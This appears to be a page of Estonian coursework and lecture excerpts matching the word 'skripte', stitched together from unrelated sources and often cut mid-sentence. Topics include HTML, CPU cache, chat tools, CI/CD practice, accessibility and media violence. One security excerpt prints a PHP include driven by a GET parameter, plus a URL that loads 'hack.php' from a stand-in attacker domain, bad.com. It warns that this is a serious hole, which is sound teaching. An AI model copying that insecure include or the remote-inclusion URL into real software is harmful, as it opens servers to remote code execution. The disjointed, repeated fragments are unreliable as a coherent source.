protsessori taktsagedus. Cache L2 vahe cache, mis on HTML(1990) on keel, milles märgendatakse veebilehti . kiirus väiksem kui esimese taseme mälu, vaid eelkõige HTML paneb paika üksnes dokumendi struktuuri, kuid põhimälu. Cache L3 vahe cache, mis on jõudluse võimaldab veebiehele kaasata skripte, eeskätt JavaScripti madalam teise astme mälu, vaid eelkõige põhimälu. Selle ja CSS-i, millega kirjeldatakse lehe kujundus. HTML- summa on tavaliselt üks kuni mitu megabaiti. See dokumentide ( failide ) veebist allalaadimiseks ja kasutatakse peamiselt server protsessorid. D-Cache
Windows Live Messenger (home.live.com) suhtlus programm kus on võimalik oma klassikaaslatega suhelda ja kõike muud veel. Plussid: kiire viis suhtlemiseks klassikaaslastega ja õpetajatega, iga üks saab omast kodust ühineda vestlusesse ja saabki teada mis teha vaja vms. Miinused: MSN-il on ka skripte mida kasutavad paljud inimesed ära ja tekkitavad ikka korraliku segaduse. Skype (www.skype.ee) suhtlus programm nagu MSN, aga helistamise võimalused on palju paremad. Plussid: saab helistada ka tavatelefonidele või mobiiltelefonidele kui laed enda kontole krediiti. Selle programmi suur pluss on veel see, et saab teha ka konverents kõnet, nii oleks päris hea isegi tundi läbi viia, keegi ei pea kodust väljagi minema.
Gmail ja Yahoo! Mail). HTML (HyperText Markup Language ,,hüperteksti märgistuskeel") on standardkeel veebilehtede märgendamiseks. HTML on SGML-i rakendus. HTML-dokumentide veebist allalaadimiseks ja vaatamiseks kasutatakse veebilehitsejat. Selline elektroonilise dokumendi märgendamise mõte on lahutada sisu, vaade jms objekti omadused üksteisest. HTML paneb paika üksnes dokumendi struktuuri, kuid võimaldab leheküljele kaasata skripte, eeskätt JavaScript, ning CSS-i millega kirjeldatakse lehe kujundus. Riistvaralised standardid Bluetooth (sinihammas) on õigupoolest avatud juhtmeta tehnoloogia standard faili edastamiseks üle lühikese ala.(1-100m) nagu näiteks mobiilid. Sinihammas kasutab lühikese lainepikkusega raadiolaineid. Sinihamba kasutamiseks tuleb luua oma personaalne kohalik ühendus, kuhu teised saavad ühenduda. Loodud Ericssoni poolt aastal 1994. See oli algselt
milliseid loomi erinevates loodusvööndites elab ja millest nad toituvad. 1.3 Töö sisu Kontrolltöö tegemisel kasutasin kahte programmi: Macromedia Authorware ja Adobe Photoshop CS. Macromedia on üks võimsamaid interaktiivseid programme. Authorware on suurimaid multimeedia töövahendeid terves maailmas. Tegelikult disainiti see algselt õppeprogrammiks. selle tõttu saab kasutada programmi, õppimata programmeerimiskeeli või skripte. Programm töötab liikuvaid kaardimudeleid kasutades. Muidugi ei tähenda see seda, et see sobib kõigile kasutajatele. Adobe Photoshop CS see on üks maailma tuntumaid fototöötlusprogramme terves maailmas. Joonis 2. Kontrolltöö skeem, teksti ja nuppu paigutus Oma kontrolltöös kasutasin ma ohtralt loomade pilte. Töös kasutatud piltide töötlemiseks ja restaureerimiseks kasutasin Adobe Photoshop CS. Edasi tulevad loodusvööndi liigid. Iga
Tarkvara standardid HTML (inglisekeelne lühend sõnadest HyperText Markup Language 'hüperteksti märgistuskeel'[1][2]) on keel, milles märgendatakse veebilehti. HTML on SGML-i rakendus. HTML-dokumentide (failide) veebist allalaadimiseks ja vaatamiseks kasutatakse veebilehitsejat. Selline elektroonilise dokumendi märgendamise mõte on lahutada sisu, vaade jms objekti omadused üksteisest. HTML paneb paika üksnes dokumendi struktuuri, kuid võimaldab leheküljele kaasata skripte, eeskätt JavaScript, ning CSS-i millega kirjeldatakse lehe kujundus. HTML-dokument koosneb elementidest, mille järgi brauser dokumendi sisu kuvab. Iga element on lehekülje lähtekoodis tähistatud vastavate märgendite abil. Kõik HTML-märgendid on ümbritsetud noolsulgudega < ja >. HTML-märgendid annavad brauserile teada, mida sisuga teha, mil moel seda vormindada ja kuvada. HTML märgendid on näiteks
,
helikaart- arvuti laienduskaart, mille ülesandeks on väljastada ja vastu võtta helisignaale, järgides arvutiprogrammide juhiseid. 19. hiir- arvuti riistvaraline osutusseade. Hiirt kasutades saab paljud käsud arvutile edastada ilma täiendavate tööriistadeta, väheneb sõrmistiku kasutamise vajadus, kuid see ei kao täielikult. 20. HTML- keel, milles märgendatakse veebilehti. HTML paneb paika üksnes dokumendi struktuuri, kuid võimaldab leheküljele kaasata skripte, eeskätt JavaScript, ning CSS-i millega kirjeldatakse lehe kujundus. 21. hübriidarvuti- seade, mis võimaldab vastu võtta andmeid, töödelda andmeid nii analoog-kui ka digitaalkujul ning esitada töödeldud andmeid. 22. iMac- kodudele, koolidele ja väikefirmadele mõeldud Apple'i arvuti. 23. installeerija- rakendus, mis kopeerib tarkvara kasutaja arvutisse, seab selle üles ja kohandab konkreetse kasutaja vajadustele. 24
JavaScript'i avaldise väärtus on väär (false). 1. Kliendipoolne JavaScript on HTML faili osa, mille kood on kõige sagedamini kirjutatud märgendite vahele. Nende märgendite vahele võib kirjutada kuitahes palju JavaScript'i lauseid, mis täidetakse esinemise järjekorras dokumendi laadimisprotsessis. märgendite paaride vahele. Näiteks võib üks fuunktsioon olla defineeritud päises skripti märgendite vahel ning teine skript, mis kutsub esile päises defineeritud funktsiooni võib olla kirjutatud dokumendi põhiossa. Eraldatud skriptid
kirjeldab eesolevat andmebaasi. Töö viies osa on projekt, mis koosneb ERD mudelist ning olemite semantikast. Kuuendas osas asub kirjeldus, kus kirjeldan milliste programmidega antud andmebaas on koostatud. Seitsmes osa on kokkuvõte, kus võetakse kokku tegevus ja analüüsitakse töö kirjutamise erinevaid osasi, mis oli raske, mis kerge. Kaheksas osa on kasutatud kirjandus. Üheksandaks osas, milleks on lisa, sisaldab endas infosüsteemi tegemiseks vaja läinud skripte ja muid kirjeldusi. Ülesandepüstitus Antud töö eesmärgiks on teha infosüsteem kõnekeskuse jaoks. Sellise infosüsteemi vajalikkus seisneb selles, et näha kuidas toimub töö kõnekeskuses ning näha kuidas seal töökorraldus jaguneb. Selle infosüsteemi mõte on koguda infot kõnekeskuses toimuva töö koha ning töötajate kohta, et töötamine sujuks, tööajad klapiks ja kõik oleksid tööl või kui mitte siis, mis põhjustel. Analüüs Meil on firma
andmebaasimootori. Vaikimisi on kasutusel MyISAM mootor. Käesoleva töö raames loodava infosüsteemi andmebaasi tabelid kasutavad eelnimetatud MyISAM andmebaasimootorit. Minu arvutis on Server version: 5.5.28 MySQL Community Server (GPL) 1.6.5 HTML HTML on keel, milles märgendatakse veebilehti. Selline elektroonilise dokumendi märgendamise mõte on lahutada sisu, vaade jms objekti omadused üksteisest. HTML paneb paika üksnes dokumendi struktuuri, kuid võimaldab leheküljele kaasata skripte, eeskätt JavaScript, ning CSS-i millega kirjeldatakse lehe kujundus. 1.6.6 CSS CSS-i kombineerimine HTML-iga võimaldab veebilehe sisu ja kujunduse teineteisest eraldada. See annab parema ülevaate lehekülje ülesehitusest ja on abiks lehekülje hilisemal muutmisel. Lihtsamaks muutub kogu lehekülje haldamine ning eelkõige kujunduse muutmine. CSS ei ole programmeerimiskeel - tegemist on koodiga, mille abil saame veebilehitsejale "öelda", kuidas HTML sisu kuvada. Näide: lõik styles
· Kes selle siia tegi? Build/Deploy Continuous integration: · Kompileerib vajadusel koodi · Koodianalüsaator? · Paigaldab rakenduse · Käivitab unit testid · Käivitab funktsionaalsed (UI) testid · Väldi käsitööd. Sellega kaasnevad vead. · Kasuta seda tulemust, mis sa continuous integration vahenditega juba valmis tegid. · Kui ei saa siis tee selgeks, miks ei saa. Elimineeri need põhjused ja kasuta ikka. · Kui siis ka ei saa siis kasuta vähemalt samu build skripte. · ... muudmoodi liigub asi kontrollimatuse suunas. Testimine · Unit test · Acceptance test · Regression test · Jõudlustest PS! Siin tasub seda slide showd kindlasti vaadata, tekivad paremad seosed. 14. loeng Scrum ja Kanban in practise Tarkvaraarendus põhimõtted · Customer Satisfaction Satisfaction Suprises · Eliminate waste · Amplify learning · Empower The team · Build Integrity in · See The whole · !Decide as late as possible ·
Väga mugav arenduse ja testimise etapil, kuigi toob turvalisuse probleeme avalikus veebis. Veateade järgi saab teada palju infot failisüsteemist ja arhitektuurist ning samuti ka programmi loogikast, mis ei ole just see info, mida te sooviksite potentsiaalsele ründajale edastada. Seega soovitatakse display_errors live-saitidel välja lülitada ning suunata kõik veateateid logisse (log_errors = on). 9.2 Skriptide laadimine $_GET parameetrite põhjal Oletame, et meie programm laadib PHP skripte vastavalt sellele, mis on $_GET parameetri X väärtus: include_once($_GET['X'].'.php'); http://www.example.com/index.php?X=product_details - laaditakse faili product_details.php http://www.example.com/index.php?X=products_list - laaditakse faili products_list.php http://www.example.com/index.php?X=http://www.bad.com/hack - laaditakse faili hack.php domeenist bad.com Viimase punkti käitumine ei ole soovituslik ning on tõsine turvaauk ja kes teab mis hack
unit testid, Käivitab funktsionaalsed (UI) testid. Vahendid: Shell script/ Ant script / Jenkins / Atlassion Bamboo jne . Toodangusse minek. • Väldi käsitööd. Sellega kaasnevad vead. • Kasuta seda tulemust, mis sa continuous integration vahenditega juba valmis tegid. • Kui ei saa siis tee selgeks, miks ei saa. Elimineeri need põhjused ja kasuta ikka. • Kui siis ka ei saa siis kasuta vähemalt samu build skripte. ... muudmoodi liigub asi kontrollimatuse suunas. • Proovi saavutada olukord, kus versioonihaldusest tulev asi on kompileeruv ja vajadusel pakenduv kohe, ilma lisakonfigureerimisteta. Sõltuvuste haldus: Sõltuvused koos lähtekoodiga repositooriomis. Sõltuvused hallatakse vahenditega - Ivy, Maven. Rakenduse konfiguratsioon: • Dünaamiline, sõltub keskkonnast. • Staatiline, luuakse rakenduse ehitamisel. • Healthy mix.
atlassian.com/software/bamboo) Travis CI (https://travis-ci.org) Circle CI (https://circeleci.com) o Toodangusse minek o Väldi käsitööd. Sellega kaasnevad vead o Kasuta seda tulemust, mis sa continuos integration vahenditega juba valmis tegid. o Kui ei saa siis tee selgeks, miks ei saa. Elimineeri need põhjused ja kasuta ikka o Kui siis ka ei saa siis kasuta vähemalt samu build skripte o … muud moodi liigub asi kontrollimatuse suunas o Sõltuvuste haldus: Sõltuvused koos lähtekoodiga repositooriomis Sõltuvused hallatakse vahenditega Ivy, Maven o Rakenduse konfiguratsioon: Dünaamiline, sõltub keskkonnast Staatiline, luuakse rakenduse ehitamisel Healthy mix o Konfiguratsioon: .properties fail,
jaoks tuttavate tegevuste ehk rutiinide (skriptide) õppimisele. Lastel kujunevad skriptid magamaminekurituaalide, arsti juures käimise, kooliks valmistumise jne kohta. Seetõttu omandab vägivalda meedia vahendusel või reaalelus kogenud laps skriptid, mis sisaldavad agressiivsuse kasutamist probleemide lahendamisel. Kui skriptid on kord juba omandatud, siis on ajul neile käitumist valides kerge ligipääs ning mida rohkem agressiivseid skripte kasutada, seda tugevamaks ja laiaulatuslikumaks need muutuvad. Seetõttu areneb lastel, kes korduvalt ja korduvalt meedivägivalda kogevad stabiilne kogum agressiivseid skripte, mis neid sotsiaalsetes olukordades juhivad. Veel üks põhjus, miks televägivalla nägemine võib agressiivset käitumist põhjustada või olemasolevat kinnistada ja tugevdada, on fakt, et see moonutab inimese maailmataju
Üldised (prioriteetsusaste 1) Jah Ei Pole kohaldatav 1.1. Tooge igale mittetekstilisele elemendile tekstiekvivalent (nt atribuutide "alt" või "longdesc" näol või elemendi sisus). See hõlmab pilte, teksti (s.h sümbolite) graafilisi esitusi, hüperpilte, animatsioone (nt animeeritud GIFe), aplette ja programmilisi objekte, ASCIIs kunsti, freime, skripte, loendite täppidena kasutatud pilte, ruumi jaotajaid, graafilisi nuppe, helisid (mida mängitakse nii kasutajaga interaktsioonis kui ka ilma), autonoomseid audiofaile, video heliradasid ja videosid. 2.1. Tagage, et kogu värviliselt esitatud teave on kättesaadav ka mustvalgelt, näiteks kontekstist või märgistatult. 4.1. Eristage selgelt kohad, kus dokumendi teksti loomulik keel muutub mingiks tekstiekvivalendiks (nt seletiitliks). 6.1. Korrastage dokumendid nii, et neid saaks lugeda
et reset (ühendus on kinni) ja teisele saadab oma andmeid - st A arvab, et suhtleb B ja B A- ga, aga tegelikult A suhtleb C-ga ja B suhtleb C-ga ja C suhtleb A ja B-ga. Turvaaugud programmides · Auklikud on nii server- kui kliendiprogrammid (brauserid kui palju võrgust tulevat infot töötlevad programmid!) · Regulaarne turvaparanduste rakendamine on kohustuslik · Disaini vead (JavaScript, ActiveX, ...) - veebilehtedega saab kaasa panna JavaScriptis kirjutatud skripte, alguses oli turvadisain olematu, see lisandus hiljem jupikaupa; Java appletid ise alguses turvalised, aga neile antakse õiguseid käivitada muid applete ja õigus otsustada antakse kasutajale ja nii kaob ka turvalisus; ActiveX sertifikaadid - tänapäeval pigem minevik · Implementatsiooni vead, näiteks: Puhvri ületäitumised - mälus lubatakse 1KB, ründaja saadab 2KB, soditakse üle järgmise jupi andmeid (enda väärtustega või lihtsalt toimivuse häirimiseks)
org) 102 • Circle CI (https://circleci.com) Toodangusse minek: • Väldi käsitööd. Sellega kaasnevad vead. • Kasuta seda tulemust, mis sa continuous integration vahenditega juba valmis tegid. • Kui ei saa siis tee selgeks, miks ei saa. Elimineeri need põhjused ja kasuta ikka. • Kui siis ka ei saa siis kasuta vähemalt samu build skripte. • ... muudmoodi liigub asi kontrollimatuse suunas. Sõltuvuste haldus: • Sõltuvused koos lähtekoodiga repositooriomis • Sõltuvused hallatakse vahenditega • Ivy, Maven Rakenduse konfiguratsioon: • Dünaamiline, sõltub keskkonnast • Staatiline, luuakse rakenduse ehitamisel • healthy mix Konfiguratsioon: • .properties fail, .ini fail, .yaml • XML, servlet • andmebaas • JNDI • lähtekood • .
annaabi.ee 
